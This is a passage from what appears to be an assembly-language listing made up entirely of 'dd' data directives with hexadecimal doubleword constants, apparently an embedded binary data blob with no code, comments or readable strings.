1A7F8454h, 6E92EA7Dh, 0D2CAF71Ch, 40D49587h, 4DD0C2B2h dd 694DDC23h, 0F566C08Fh, 79972610h, 6B4B9AC0h, 0BB89DBB8h dd 36CDF15Fh, 76D22D91h, 7FA5AAC7h, 0FC87E1E4h, 0AE1E2B60h dd 0BC6A21D2h, 9386E183h, 0B0A0D9E2h, 9056712Eh, 0F56F7080h dd 0E5250F73h, 0DCAF7E39h, 9B3E3892h, 0A07B96A9h, 7A9CDFA2h dd 82ECA37Eh, 0A2C1358Ah, 3F7D1734h, 0C48AF24Ah, 299D97F0h dd 5D227D42h, 20F4C0AFh, 0BABCFE77h, 0DE159400h, 0D9A19A8h dd 0A8CFD208h, 610A4F39h, 23D34C3Ah, 0A66809E1h, 39A2AF90h dd 8FBF018Ah, 10B4F777h, 0B3638D5Dh, 0D88743CCh, 85FFEC4Eh dd 855E5D47h, 13118ABCh, 0B9D3A992h, 812F4D47h, 313F2B44h dd 1181DF9Dh, 0F28892E5h, 0ED90B192h, 2907E552h, 55C470BAh dd 76FF53D9h, 135BBA2Bh, 1F698FF9h, 4D07C560h, 0D27E453Dh dd 0EC241799h, 0EF9B173Dh, 660355ABh, 7FA709EFh, 20C7DA34h dd 0FFF4CF81h, 6E376222h, 0A05F9B4Bh, 7467C8ACh, 919E9D78h dd 79E41421h, 22C10136h, 8B1E8BF2h, 9EC76FD5h, 29A2C55Ah dd 0B3DA0227h, 0C70383B0h, 95E5D740h, 0FA6CBB01h, 31923A4Eh dd 0D7A7D63h, 0BB2B1873h, 61623662h, 6138CCEFh, 87B38A42h dd 4E2FE0D5h, 9A8E3390h, 0BB02AF3Eh, 0FCF62884h, 8910229Dh dd 0BD72FEEh, 4441FEBFh, 96E7D9A5h, 3C64C756h, 8E0A0EF3h dd 903B7274h, 0C3CB011Bh, 347D70EAh, 1FC7A687h, 375FD69Ch dd 0CC61F3BBh, 0F8586624h, 146E50CEh, 4AAAE655h, 0F30994D2h dd 722DCACAh, 8ACC0D0Dh, 4E32E1BAh, 4C46F35Ah, 87F7847Fh dd 0A4EBBB3Dh, 0BA396B85h, 0AF5237DBh, 6FFDADB9h, 4C085687h dd 9216EFB0h, 750B4265h, 9D824A64h, 8C3CCBD7h, 45E90DFAh dd 0E032CA53h, 0C1057ACDh, 88BB68DFh, 0DBEB3284h, 0A6157F20h dd 0DE0E260Bh, 96D07B4Ah, 7865E160h, 0A2B4DA65h, 70F589AFh dd 0D1669AA5h, 477E1665h, 0A599B601h, 0B2C797F1h, 40D77706h dd 0D65A0564h, 3AC7F7Ah, 0EAA2EFDBh, 0B23A2B2Eh, 73A64921h dd 0E8CECCAAh, 92177639h, 54E89879h, 31BD7372h, 6190CE5Ch dd 0EAA0B52Fh, 57E3E5FEh, 69FB2D8Bh, 33B8FF4Ah, 0F81E34ACh dd 2C4D4C28h, 0A72FC30Bh, 1C1E34B1h, 0D2E953A5h, 84DD4DEAh dd 5B67D5EDh, 717B80D6h, 0D642B0Eh, 8AC096FFh, 0FC660635h dd 0F21B1E06h, 555B7686h, 0B948D86Fh, 29161BA2h, 0BD99906Bh dd 446DD943h, 29D2AB9Bh, 7D3183D1h, 94B9C727h, 0D5B0D84Fh dd 0F85A5987h, 4D094E12h, 0D7666A19h, 981DBABh, 0A116ECF8h dd 0A6F79F03h, 0A6493608h, 0B4D128BDh, 5E622588h, 0F4B2E209h dd 0BF0E9C54h, 0AB85FF62h, 343DE2C4h, 8424F27Bh, 0D6A96B3Dh dd 7DE89E5Ch, 91BA6E83h, 0D0C9143Dh, 0C6F32299h, 22AB447Bh dd 2501C4F6h, 434B06FAh, 0D257E132h, 90995309h, 9F8660AEh dd 804778B4h, 1501FC47h, 5457887Ch, 60EE69A8h, 0A3A2233Dh dd 0DAEE0D03h, 0EF2873E3h, 93B99DC0h, 0A29BFFC2h, 0CCEED9F7h dd 0C03DDFC2h, 0F8ABB48Fh, 0E0C81F76h, 6CAE5728h, 51C5383Ch dd 0EE5386AFh, 686BC5F8h, 3D6AB8FEh, 0D28E3A7Ah, 8CB01439h dd 0FE6893F5h, 4D2503B0h, 76C9A704h, 6F49E0F5h, 0A812ED04h dd 0CFD00BFAh, 0ADD12DE9h, 0F6CEC5FFh, 0C879B4CCh, 822336E7h dd 0C90074BDh, 97E4F5BEh, 4F479103h, 329C3509h, 0AC0FCC99h dd 0EB3BDFB1h, 60D59F39h, 7054B032h, 9055DBD5h, 7A9AC3CFh dd 0C07B27CBh, 0B1A5CD74h, 0C9246A82h, 67B5703Ah, 8694A87Ch dd 3CA3805Ch, 286E4492h, 0C3395019h, 3223A1B3h, 0F49DB9B8h dd 7BAA9C6Dh, 0E667FDADh, 7DDF3A51h, 0A4FB3CD9h, 0D1BCF85Fh dd 0EED4198Ch, 0F88EB4EFh, 8B940560h, 0CD8D8C85h, 0BEBFC1B2h dd 1D6C71C6h, 4B811444h, 0B8F6918Eh, 0C49C9053h, 0FD0E8DD6h dd 0E8FC0B91h, 746F458Fh, 64E04942h, 538770A8h, 0F0112572h dd 23982AB3h, 73249D8Bh, 0EDEE04A3h, 0B96957F3h, 0F51F3D14h dd 210E6572h, 72065068h, 23BC72A3h, 7F5C956Dh, 847D963Bh dd 0F0A6FF5Fh, 30A73594h, 5A7CB0DEh, 0EA92909h, 342B43C2h dd 7B042E8Ah, 0BBA48A80h, 2DC44E7Fh, 443B7BDh, 77127650h dd 0E6529538h, 883BD42Ah, 0A96DE7FFh, 7A4017A7h, 1C3AFEACh dd 451DD2F1h, 282256E5h, 0FD20CF9Fh, 0B0A9CE23h, 39D8F571h dd 3D4DB8B7h, 3A700102h, 531D22F5h, 0F9B575C5h, 99045ECDh dd 77A351F8h, 22006F54h, 7B5ECDE9h, 4C39400Fh, 0FF813A98h dd 4570463Fh, 0AEADC9D4h, 734288BDh, 0DD80A7E6h, 7E4788Dh dd 2A296786h, 30CC5E81h, 5AE8F832h, 0E979BE9Fh, 0D8D34C07h dd 8CFD4C7Bh, 0A26385EAh, 0FEF84832h, 357A05C7h, 0F274411Dh dd 11F5A576h, 3CA85E6Ah, 2CBA5255h, 9DF7B259h, 64E1192Eh dd 5CCCCC82h, 29D30C6Bh, 0E86AE415h, 8610541Dh, 923D584Eh dd 0C6847323h, 5306DC34h, 0F34209A0h, 78643FC0h, 1F18DAB1h dd 0EAED417Bh, 36167DB6h, 18C25044h, 97C70881h, 0C9FAA1F4h dd 12F4B016h, 6B651735h, 0D1C9DE10h, 512D7BA2h, 4A675E2Ah dd 0A5AF9252h, 0A6D0D15Dh, 0A4F38893h, 0A278F4F8h, 3AC6D431h dd 0C614DA53h, 9C81DCD6h, 0D44B6307h, 0BF3A6D5Ah, 58F7C948h dd 2DCFE62Dh, 37A01F6Bh, 3002BA0Dh, 824B4B8Bh, 0EF3FC648h dd 8BFF50E9h, 5FC90490h, 0BD4DE926h, 85C4D104h, 0E14F7489h dd 3C2A4B5Bh, 0C97A85C6h, 7E9F420Ch, 0BE500E30h, 955EC55Ch dd 0F32BF488h, 4D5D398Fh, 922DF1C6h, 0B21619Fh, 0D6EC59F3h dd 985BD9B5h, 3BEC0D74h, 0D3DA93C0h, 6CDF85C8h, 0ADDC2EB2h dd 0A263682Eh, 0C98630BCh, 0F83638DFh, 19C965CAh, 127D434h dd 51D193CDh, 2FE227CBh, 4E80649Bh, 5B720h, 97F0B2FBh dd 0D4BCC17h, 86321B78h, 0CA0EFF25h, 2971B04Eh, 3AD49528h dd 0B84B8062h, 60452A3Dh, 6E75C1B1h, 7A42FDA7h, 6F70B970h dd 1CA0BBCBh, 331D0C20h, 0C82F71B7h, 18A112E1h, 0EC2DB46h dd 42059961h, 929DFDh, 56C13047h, 78592105h, 1301E24Eh dd 4C581EE0h, 0B3CB8DFEh, 460716C9h, 0CB6BA5Ch, 71F97DD4h dd 0C681A4D8h, 0A7A7B012h, 2BCE2E3Ah, 554788E2h, 2F109749h dd 0F8C66AFCh, 5035849Bh, 2B71ADD8h, 641145C9h, 0CC2847E0h dd 226246F8h, 0BA572EAh, 0CD579923h, 22C3988Eh, 56AD0A7Bh dd 350D02C3h, 9B0665B9h, 380AEBD6h, 930281Bh, 0CD2ADD6Bh dd 19AB2E03h, 0DC97D08Ah, 48DB1CD1h, 9F90054Dh, 32D517A6h dd 0BF0E6BD7h, 0F63D3B3h, 230C334Eh, 2013157Eh, 94599BE6h dd 32A3D8BDh, 7ABB564Bh, 0E3E16C3Fh, 0B1F089F7h, 87935B85h dd 0D48A3653h, 13726443h, 3D6DB991h, 7822F5E9h, 8735C338h dd 781542FAh, 0B1CBAEC0h, 18E2E776h, 58D68A23h, 0C9C44CE0h dd 0F1BD81A7h, 72BA5375h, 50137B16h, 68029C53h, 0EED414D2h dd 1EEED286h, 0D55FC4A1h, 54E5E9D2h, 0D8B1A450h, 0B9AFC989h dd 37FFEA4Dh, 0FDFEE2DEh, 8A59920Ah, 75A73491h, 9025CC0Eh dd 8E5A7FA4h, 67288B71h, 6A76729Eh, 12000040h, 7D2DC1FEh dd 0A6C32D3Fh, 8E8F2217h, 0C2F5A904h, 26507DCCh, 7387C67Ch dd 0E3D579C6h, 88D94D4Fh, 3E05F09Fh, 71959DA7h, 0C0013784h dd 1B5BF708h, 0D0F4A945h, 9CE4E243h, 0B8FD7C91h, 0E49E28F8h dd 292EBA45h, 66EA6939h dd 9396BEC4h, 1A39ED6Fh, 0AA49FA49h, 40F29BA2h, 0D149AD59h dd 9F1CC1h, 15DFAE1Ah, 0A87E78A1h, 2D2E57E3h, 0D67EEF12h dd 34B1D13h, 31AAA7B1h, 25C26FF9h, 1295FFF6h, 7465008h dd 0D4FD8B5h, 4C5E31E1h, 4087CF89h, 1A14BDB6h, 4D947A85h dd 0F13D80A2h, 795B9A9Eh, 255EA1FFh, 36B1C83Dh, 6274F004h dd 37D0A61Ch, 299FA6E4h, 9300CD35h, 3E213A07h, 377B16BAh dd 610E69FEh, 0A76B35B0h, 0E5870914h, 30B5629Dh, 540EE62Fh dd 0A3046905h, 0ED1D8F37h, 3D43006Eh, 5D8707D0h, 8E729D55h dd 7FF7E618h, 6C8A337Eh, 11039F07h, 0B3AACD04h, 7A3DE8D5h dd 55C7851Ah, 2D9A5058h, 5268E946h, 0A17492F9h, 6BAD7A77h dd 692C1520h, 0A646DD23h, 69855854h, 0A5CB910Dh, 0CF703775h dd 0D15ABFEDh, 8C362FEBh, 73923143h, 1F6FAE75h, 2B1A5DF8h dd 0C489DBA5h, 9F545DBAh, 91DC569h, 0D131FE22h, 609E11C8h dd 0FF6A924Ah, 0AB5E63A3h, 349DD27Eh, 9218983Fh, 0C5116B3Eh dd 3125D825h, 497BC5E6h, 0FF1E2693h, 3C28340Bh, 2BBA835h dd 0D830E131h, 6BE0D51Ch, 96695EC9h, 92CFBEBFh, 197C0446h dd 0CEFEF033h, 0BA635D1Ah, 0DD1A089Ah, 1F3E74A5h, 1D4206C6h dd 0AAE4116Eh, 4E8E274Ah, 0ED34A0B9h, 3F564389h, 0CCFB6074h dd 0A2CD94ABh, 190B8C26h, 2CDDCAB4h, 0BDB744D7h, 0CB65D592h dd 0F4C2AE18h, 837E7037h, 96E630C0h, 14860310h, 5045DD25h dd 549B31C7h, 20F7FA0Ah, 5597371Fh, 178BDC74h, 5AF51AF4h dd 0A9016834h, 4E90C52Ah, 0CA7CFAD2h, 3DBFC9D6h, 226E0CD2h dd 92A4112Fh, 9EB561C3h, 0BC119768h, 0D71324E5h, 0F43A140Eh dd 26898179h, 838D719Ch, 4D7E9462h, 0DDE49E01h, 9D0EBB5Ah dd 0C3A36912h, 0AA4F84A9h, 1E5AE2B4h, 8136C68Eh, 0E3A9B6Ch dd 0E506B155h, 89B3204Fh, 4FE0341Dh, 97B10FE6h, 0A9F054DBh dd 0F36C1F8Ch, 0EF054CCAh, 0EF7BE29Dh, 266B82A1h, 45F3C510h dd 0F3D0C61Eh, 0E70B09EDh, 0DA60FACFh, 341617DCh, 3B4DBCCBh dd 92B4A8E8h, 0BD43E393h, 85246B2Eh, 0B567618Dh, 72D2EED1h dd 7146685Ch, 0E3DF6532h, 0A7438C2h, 40E61640h, 0EDB12339h dd 977721BFh, 6A5BFEB3h, 0E7E727D0h, 7DCC1241h, 5E92691Ch dd 7A4F980Ah, 4123EF12h, 898FB920h, 2223AF1h, 0A01431FBh dd 3766047h, 0EA102004h, 4BCE97D1h, 9E5E351Ah, 645EE305h dd 0F7FA098Dh, 0FB579ED0h, 29A0471h, 4DCF39B1h, 71F1A5Fh dd 12A5D891h, 25F4EF78h, 8D3C4001h, 9049B7E3h, 0D181A3E2h dd 8752C4A6h, 0EAF9D868h, 65816A0Ah, 0A28453DEh, 87E6BA13h dd 3093DFA6h, 49F6D1DBh, 0BC67DACCh, 18400965h, 0F85F9887h dd 9874338Eh, 7F88EE4Fh, 0E7B4EB50h, 89D17828h, 73F83365h dd 0FEBB92C1h, 92527525h, 42D28CE7h, 6C118493h, 0CBA6B78Bh dd 8169D317h, 0D7DF9C9Bh, 0F729C53h, 20EC4A75h, 0F7B6BA5Ch dd 0F7C7C8F3h, 3E98721Ah, 0D9F6F993h, 0A70F5999h, 0CDE5C990h dd 0B1553387h, 5ACBE78h, 9C1691D4h, 0B863C9E0h, 50A3E612h dd 10FC5F5Ah, 0F87A231Dh, 2A1229F8h, 2F465E98h, 0B2D6F284h dd 66EE6785h, 0BDDE3EA2h, 24084576h, 7C7241EAh, 34269CDAh dd 21B1E84Fh, 135BD265h, 687ED76Bh, 0CC4E5C43h, 9ABE987Ah dd 0A9ADFC8Fh, 71AB6D24h, 0ED079EB7h, 0A12BFE43h, 9961844Ah dd 0C6B0C9A2h, 5A4FF190h, 0D7859EA2h, 0DCB3A514h, 374C11C8h dd 13E83A59h, 6B6BF368h, 0E021B49Dh, 0E6565F61h, 7AC89C8Dh dd 723FFE22h, 61E07F8Ah, 0A60E4237h, 8FF05D0Ah, 0DD7D636Fh dd 8FBD370Bh, 0B686CDFCh, 0FEA33779h, 3B3DBCAEh, 4DF808BFh dd 65DCC877h, 2EC62D95h, 0A88C06F4h, 5D16D511h, 660AC351h dd 86873E7Ah, 0B6E7ED05h, 8C274CDDh, 8C3B5AFEh, 0B3344B7Ah dd 5E47C76Ah, 0FEC90626h, 0F5CC4D5Ch, 9501304Eh, 410C7393h dd 537A4ED6h, 135E0B4Ch, 0EDD290Bh, 0C76C935Ch, 0BC6B5A23h dd 777F4D8Ah, 0DA817A8Ch, 4D2F1189h, 0AC0A87B2h, 0BF6905C3h dd 0FB9402BCh, 7B0459D8h, 0E47ABF93h, 107FF2EAh, 6B543240h dd 0F5A4FE0Ah, 137460CBh, 71D6317Eh, 845A46A5h, 0E2362EC1h dd 3AB365D8h, 0C5FB038Dh, 33C07325h, 0A988699Fh, 46EC18FAh dd 0E4EF176Ah, 4BC55E74h, 82C9ABF7h, 68912040h, 0B456ABD6h dd 5EB9EDB4h, 0D8C7F50Ch, 0FE6794F4h, 0E86F1D17h, 1C053382h dd 5FDCB842h, 528C627Eh, 24DBEF26h, 79042922h, 0BAC21D71h dd 0EDD6DF5Fh, 89FACEA5h, 92A51D15h, 3E77EDC7h, 1CCBB122h dd 30039B78h, 4795A3A2h, 0B5DEAB77h, 0B1031698h, 0A94ABBE0h dd 7C999238h, 0AF708BAh, 242409Ch, 224DCA7Bh, 7621CACBh dd 27B848D2h, 0B88733D0h, 8B8501F5h, 0E871F1BBh, 0EEFC9016h dd 2552BF31h, 25899915h, 66661463h, 71CCC81Eh, 0A14B803Eh dd 0F4F344B0h, 0C5DCA54Eh, 89D530B7h, 18B62AE4h, 854D30F4h dd 66D10652h, 0D13CC504h, 1F480F42h, 0A9301783h, 3126ACD0h dd 33398B1Dh, 0F8937489h, 9097AFF2h, 47E434A8h, 305274F1h dd 0BA892DBh, 999CE43Ah, 76C6AB75h, 2FFE25D8h, 662256E9h dd 0F4C74C3h, 29B6B1CCh, 3C56122Fh, 0B99DB337h, 7611DADEh dd 0E7F48015h, 0AE3BC7FCh, 0B2C49A95h, 0F0681A2h, 0E13E83C6h dd 0E65F90EDh, 4A0C293Dh, 5C035C96h, 0AA985B1Fh, 0D4433C23h dd 5CA24052h, 955EE51h, 0CEAEADE3h, 3689DEEEh, 0F642F97Eh dd 10484CFFh, 7A710964h, 8B8D5D88h, 0EDD2D8F1h, 20295EA9h dd 0EDF40C41h, 9BC0E32Eh, 0F6D54742h, 9D8226BFh, 1349ED55h dd 0E6D83011h, 0C52DD3B6h, 0F90E5E00h, 0EA06F255h, 484E03ADh dd 3918A1C5h, 91BD0C18h, 22DF9EE4h, 0D93252Fh, 34662FCAh dd 9591A156h, 1454CF89h, 0E2EC3914h, 0DF8DE92Bh, 4F38604Ah dd 61263967h, 1A6A19E0h, 3CC33C46h, 0A0959846h, 4F47DF91h dd 0F0E2190Ch, 929B8B96h, 0DDB18ED4h, 0CD51A569h, 71171F65h dd 0AB16A35Ah, 83F94D5Fh, 20BA5601h, 0B0E6B9C0h, 5C4FAF08h dd 24796EE8h, 0E3DD95B5h, 0E2608Bh, 0F70AC2E3h, 9662E3DCh dd 2027486Bh, 20F264CAh, 0E70D63CEh, 0AF11BE85h, 609441Dh dd 7A128E18h, 74914763h, 0B9DDF7D7h, 4CB817F1h, 137D0C1Eh dd 16E1A425h, 8340AE7Fh, 8B34362Fh, 58D402A0h, 76944249h dd 0D64198B6h, 9E5C2C49h, 4284A5D0h, 0CA14903Fh, 726A9D68h dd 9C98B776h, 0DEED843Ch, 24F199FCh, 9FDC5101h, 0BF2844EBh dd 0FBA46EC3h, 6FE36F1h, 9984B381h, 65F7150Eh, 17C489C4h dd 2745CCA8h, 0CF310F74h, 0E28DE4CEh, 457E5EB9h, 120E2FCDh dd 886D6FA0h, 0B48F5021h, 7D5B302Ah, 0DA9738C5h, 97F75601h dd 0FAE34ADEh, 0F01DAD57h, 738C42CCh, 1543EDE7h, 0FA3AF2E0h dd 0DD822E31h, 89FAA398h, 22EA2854h, 4D486D13h, 809C7FD8h dd 17E0511Ah, 0D9AB3BA7h, 5B8A45EEh, 35DDC62Ah, 597A233Ah dd 0F166B773h, 0A1C68F78h, 0DA7CBC04h, 1862092Bh, 0E3660E98h dd 1920675Dh, 275E82E5h, 4083A6EAh, 86C89685h, 3462EEB8h dd 0C02A119Bh, 556F877Ah, 0CF006EA3h, 8E9E1CD4h, 2581E708h dd 4D7E5861h, 678DFDC6h, 96962138h, 3DB88B08h, 0C4B6F466h dd 3F882302h, 616255DFh, 2C4B0AB4h, 86BB2AE9h, 0BB131C9Ah dd 0E31B9DC8h, 0DC06F7Ah, 0ABFD7289h, 20230903h, 0B606C481h dd 1C8EBDA7h, 0A5E8B506h, 0F1F87F30h, 94FAFB02h, 31C3B95Bh dd 86753FDBh, 0DB310F34h, 4B93E42Fh, 38A6BEE6h, 8F66075Ah dd 5A3DE4C3h, 9BF17572h dd 0C5716CE1h, 0DF29BA90h, 47FDD1B1h, 9B3DEBBDh, 14904037h dd 4EB3D145h, 627C665Bh, 3BE69BAEh, 284B73E7h, 643C7583h dd 5998FFDFh, 843EAFE7h, 3414D972h, 0F9F47EE1h, 40F42A7Eh dd 82CF3808h, 9A0CC798h, 33DC50A7h, 0C9F8FB1h, 6A3D5B39h dd 4362AAFh, 0A1FD0C72h, 0A5549BF7h, 8670CAC1h, 37E8AB4h dd 2ECBA424h, 4A792A87h, 0D7006CB1h, 0AE273F73h, 76535D12h dd 0B49F0DE8h, 0BFAF7F18h, 3FCD1360h, 0F63F9DB5h, 284D3E49h dd 0C8444FE9h, 0AD07420Eh, 646DFC08h, 0EB729BFEh, 0D0E247A6h dd 8CD3FE45h, 0BA76FF7h, 0F20021D6h, 0BD538B4Dh, 0F48A5423h dd 91457013h, 8E0B214Ah, 0BE696C09h, 7356B16Fh, 0B34B86E6h dd 44E6371Bh, 5B85F95h, 0F63D08EAh, 0FF7B681Dh, 0C1FDD685h dd 0D90CA3A4h, 0B4A8E3F4h, 42FD6CC7h, 51399293h, 0BAD034C9h dd 657CD72Bh, 3EA7FD1Dh, 0E582CE1Eh, 1EFB4030h, 61DDDC90h dd 1F0F1052h, 0ECE46824h, 0D91AF692h, 41DEBC44h, 3ACDAEDDh dd 0FB3DCB7Dh, 0F025D8CCh, 1DD3FA2Eh, 29B4855h, 0D19EFA37h dd 4DC3BD3Eh, 72478256h, 9C4CD36Fh, 2EA237CFh, 0EEB000A0h dd 0C4001146h, 40C1BC59h, 5453D810h, 6717367Eh, 0D46AA194h dd 730D5A9h, 9FD369CCh, 2C9A1024h, 93BD2339h, 0FA153982h dd 25E76916h, 70F0C341h, 9F21BC0Ch, 78A97E18h, 83A292Fh dd 772B7129h, 0FA802879h, 0EC4F02E9h, 0A1EDA7B1h, 8FBE8F21h dd 0C9455E07h, 0FAAF0F1h, 0A0823546h, 2145B5D7h, 0A4F8472Fh dd 1946FF6Ah, 416CDF11h, 0E648A2DBh, 0D1E4A4B6h, 0ED8BF5E4h dd 10F2252h, 989AD786h, 0C0941990h, 0D68D8924h, 0C204C451h dd 92F70FB1h, 5254A80h, 0A58FAC96h, 9C800834h, 6481888Dh dd 0C211535Bh, 0BDD1F6D0h, 9D15EE2Eh, 0EE8433EFh, 0F5EC6956h dd 0B2078DF1h, 0B060E940h, 0C6F9CCC6h, 8D122C3Eh, 20917091h dd 0CFD2985Fh, 64A67D4Ch, 80D25C50h, 46A8FD43h, 7C56A3FEh dd 3BCCF5FAh, 0EE5F14D7h, 4A59FC45h, 698BA387h, 8AE9ED87h dd 0FF5FB351h, 2578EBC8h, 9EBBA5B0h, 0DEECC743h, 9DAB980Bh dd 8850932Fh, 749A934Ch, 0F23B6F60h, 0AD93E0C6h, 0AB2B8FA7h dd 5B6FC665h, 0B4E797F3h, 19ACFD3Ch, 0A902E189h, 78A8B457h dd 7D0B5EEAh, 2486C630h, 8F1169DCh, 0AC359E9Eh, 6C401058h dd 4F7AB96Bh, 9A2497A9h, 808D722Dh, 6FECF1F2h, 5C0CA0DAh dd 5A18FE10h, 40369A4Ch, 37BB2A4Eh, 832A5D2h, 32F67D48h dd 69441FC9h, 0BDD1E857h, 455A7F7Fh, 0E1B0EA78h, 21B62CF5h dd 5E8D7BC2h, 35CD4666h, 0EC62486Bh, 0ACA83E4Ch, 0D0FE637Bh dd 40BDF362h, 0EA720F9Bh, 0B204CDDEh, 0E133A61Dh, 31DA7CCCh dd 0DD70832Bh, 2378FAE7h, 334CAB3Eh, 0C6175B0Ch, 9CFCE78Fh dd 0C2FAC31Ch, 2218126h, 80E9920Ah, 11A0ABECh, 1E0DAB09h dd 361C605Dh, 3A9CF0E6h, 72D773B7h, 95A39C95h, 0B84F733Dh dd 18E414E0h, 0B82356CBh, 84B72236h, 21D3DB21h, 0AA8EEFD4h dd 0C412E058h, 90169D41h, 0BBB41363h, 0E7705D3Ch, 5BD948A1h dd 0A7311456h, 70DA966h, 0E88FA300h, 0F0C8B56Bh, 33A61C30h dd 4139CB98h, 0D5F9C07h, 6211759Eh, 68C12EC8h, 6A33B9B7h dd 2BCD413Fh, 9A30251h, 0E4D23EABh, 0D1CDA4DBh, 2EC0152Ch dd 5864D064h, 68D1FA2h, 0E6E7BE88h, 32CD3414h, 7BDC1ABBh dd 67669408h, 9866A10Ah, 0B97AC605h, 72E45FC9h, 865712D6h dd 0CA40B350h, 0CA945530h, 3DCE8539h, 0D98FFEEEh, 9250DCFDh dd 8F92E650h, 53EEA851h, 0C4405144h, 0C9C81EC1h, 4F8A35ACh dd 749EA811h, 0B8E6909Eh, 826BABD9h, 0B82487F9h, 0ABC287C5h dd 753FB289h, 0CE773F28h, 97EBA55Dh, 9A64307Bh, 1BA0EB52h dd 0CAC28135h, 5337B73Ah, 0E51D73E0h, 338DBC38h, 0DA817D8Ch dd 0A68B0801h, 0EEBA2462h, 50FC3C74h, 0AE4655C6h, 64AAE9DDh dd 5E433CFCh, 1AB041E1h, 56B0D015h, 72B6A210h, 5914F501h dd 6A3F7C36h, 0F6E9C684h, 0C726D519h, 0B545BEA2h, 0CFBAC446h dd 438061C8h, 0E6AB0CE4h, 27A40D2Fh, 0C900CD59h, 5C2D4CADh dd 85506B6Fh, 0C5C85059h, 0F929AE92h, 27C6EB94h, 5BFA029Ch dd 7A7D1C62h, 50B64FE3h, 0EFB41658h, 3BA1E253h, 13F136DAh dd 0B1CF2274h, 8B03CF9Dh, 700418A2h, 2E6ED111h, 0ED55E645h dd 0E2523F18h, 2CF6005Eh, 0B739E174h, 0BC9BD195h, 4B657A97h dd 16D32127h, 0A305F26Eh, 25687F38h, 0BA5B2A70h, 705FECB5h dd 850252EEh, 141147D0h, 0D3D1CD99h, 3B0F01F1h, 0E04B6B1h dd 2E74129Dh, 0D3097E41h, 0A727DCC0h, 67809DCCh, 0C410717Ch dd 460EEAF4h, 0AD98A470h, 0FFAC6CFDh, 0A9030BEAh, 1338BABEh dd 635236Ah, 1B761B30h, 0F1A786E5h, 213DED62h, 134CEF28h dd 0EECBCC86h, 0BA08F401h, 76BE0F1Ah, 89ED1EF4h, 0D7522E68h dd 7BE0B478h, 44E9F98Fh, 0A803D541h, 51BD2584h, 0E5CE69FFh dd 77DDA199h, 2C7DDB0Dh, 8C76281Bh, 311D2AFh, 4EE61A49h dd 0FF18F181h, 2E625AC4h, 76E35EE1h, 0A1752B2Eh, 1A8DEBF4h dd 278DEFFh, 3CF01550h, 0FF77A25Dh, 9543A533h, 0A6735B5Eh dd 9455F2C9h, 0E4CF07B7h, 5F9FA43Fh, 4BE0BB4Ah, 790C3987h dd 3485F75h, 79108CE0h, 15EF6D61h, 76FD5C28h, 4AD9B499h dd 0E145ECh, 0F688860Ch, 0C59EB132h, 0F9C8EFE3h, 96C6942Eh dd 5AA967FAh, 339E3958h, 60290B32h, 2A6FAD39h, 0FEE5087Dh dd 5E7C1126h, 93A62D24h, 0E673D4D8h, 7C0178CEh, 7E1AFD45h dd 38DFAA80h, 4B547D53h, 1B4AA342h, 220967CBh, 4E6BA33Bh dd 98A3C982h, 35787AFEh, 58C8D2E4h, 0FA1E3299h, 782C79E3h dd 0DE78E5E5h, 0E6C68A88h, 0CA33FF7Bh, 12A3D1Fh, 14B56542h dd 0C17D5A1h, 0DE04AC35h, 8082225Ch, 6F0AEC9Ah, 742F387Fh dd 0FB775225h, 0DB05FE4h, 0E5A49F4h, 7C4B99EFh, 0E888A283h dd 3A78FF02h, 0B24251F9h, 0A8953AFCh, 0F4532F69h, 0B4197433h dd 0E04A286Fh, 4C4EBC1Ah, 82AE4D90h, 0ADD1149Bh, 16F5D67Dh dd 0FCF34CA7h, 0E6ADCC34h, 5A77D8D7h, 9A07B51Bh, 0FF82733Ah dd 13D141FDh, 92B76527h, 72484835h, 0E411896Ch, 0B91956A1h dd 0B128DD2Eh, 9155F75Eh, 81E94C8Ah, 92206900h, 0B830DFEBh dd 9CB2DDCDh, 141B8461h, 0E9560810h, 87A413Bh, 1CEC123Dh dd 0BA65696Fh, 5C5EDC43h, 9D903C79h, 80B7E83Dh, 2DD999BFh dd 0EFEA5311h, 3E5586E1h, 793DC7DEh, 0B19D5B30h, 5386D966h dd 4DD67287h, 0F89AF6F7h, 34D65ED7h, 0E12146F4h, 4C6DCCE2h dd 0ECC8C1Eh, 0A846D28Fh, 0F3B81966h, 71E795F5h, 7120989Bh dd 92A54FA6h, 429AFB39h, 0C0A5FC9Bh, 5D98B9F0h, 94838E96h dd 655D1AF6h, 451177B3h, 8F081369h, 2D0EF12Eh, 54496481h dd 725F562Fh, 911FD67h, 6C82CA69h, 64FC9F1Dh, 90B184E0h dd 32DD5D78h, 8A55C4CFh, 3301C729h, 0A975DDECh, 119035Eh dd 0E40D8647h, 0D480ABA7h, 0E248D93Ch, 891A9759h, 43391204h dd 0BE626FC3h, 0D4F463BCh, 0BAD8D4F9h, 284C439Fh, 4D386394h dd 88232D16h, 7DEE7FF8h, 0FFD40C44h, 0B24D90EBh, 0CBA360Ah dd 0BF5EB52Ah, 0C49B9717h, 574A5E77h, 52E66A69h, 7E4C1486h dd 22568226h, 813F1036h, 4B4D658Ah, 3A54B7C2h, 5BC4EE76h dd 0E37FD066h, 0C79A0826h, 0F643A75h, 93A320C2h, 71744593h dd 0A24DB612h, 76DE7EEFh, 0EF5DD986h, 0B8554A53h, 394966DBh dd 9A3DC726h, 0B73F8F46h, 8BF55FA9h, 0DE105D52h, 63FF4033h dd 0E05DAC83h, 27C5C906h dd 0A8421515h, 0D852E786h, 53D87D3Dh, 0A609BE82h, 62D35C0h dd 51549D11h, 279AAF14h, 0B4ADA327h, 4E13D7A9h, 248C1229h dd 1E726513h, 0F621BFEFh, 0D7AA4AEh, 119AD1E2h, 5DFC98C3h dd 879F31D8h, 102725Dh, 0A3A216D3h, 0D0B5A57h, 0D6F92756h dd 80ADB5E6h, 42E0D82Eh, 0A8423EBEh, 3EF9A847h, 0ED349D94h dd 0DE29CA50h, 0A4CA0BA6h, 0D6A3CE7Fh, 0C10FBF7Fh, 3FAC2C8Ch dd 5FF37911h, 9BF0A75Eh, 64167A63h, 0EB0B24C4h, 6DA78FDEh dd 2372E0DCh, 0C84ADF5Ah, 8FF78436h, 58A2BBB9h, 20D493ACh dd 0B5707CC5h, 3EDF889Ah, 0D24073Bh, 5DD3FF8Ah, 0BA9D1E09h dd 787A794Dh, 53D15A5Bh, 841403A9h, 89C4C7DCh, 8F169763h dd 939D98E7h, 32077EBEh, 0D38F8808h, 34F8175Dh, 159D7CF8h dd 7F7F1F39h, 0D1F80756h, 0D186328Eh, 2F773605h, 0DA82F490h dd 4EA81C8Dh, 5A135E67h, 51C3C1A3h, 90B8E1C7h, 0F6F8EA5h dd 8CDA7ABBh, 32EFD6D4h, 0DCC952CBh, 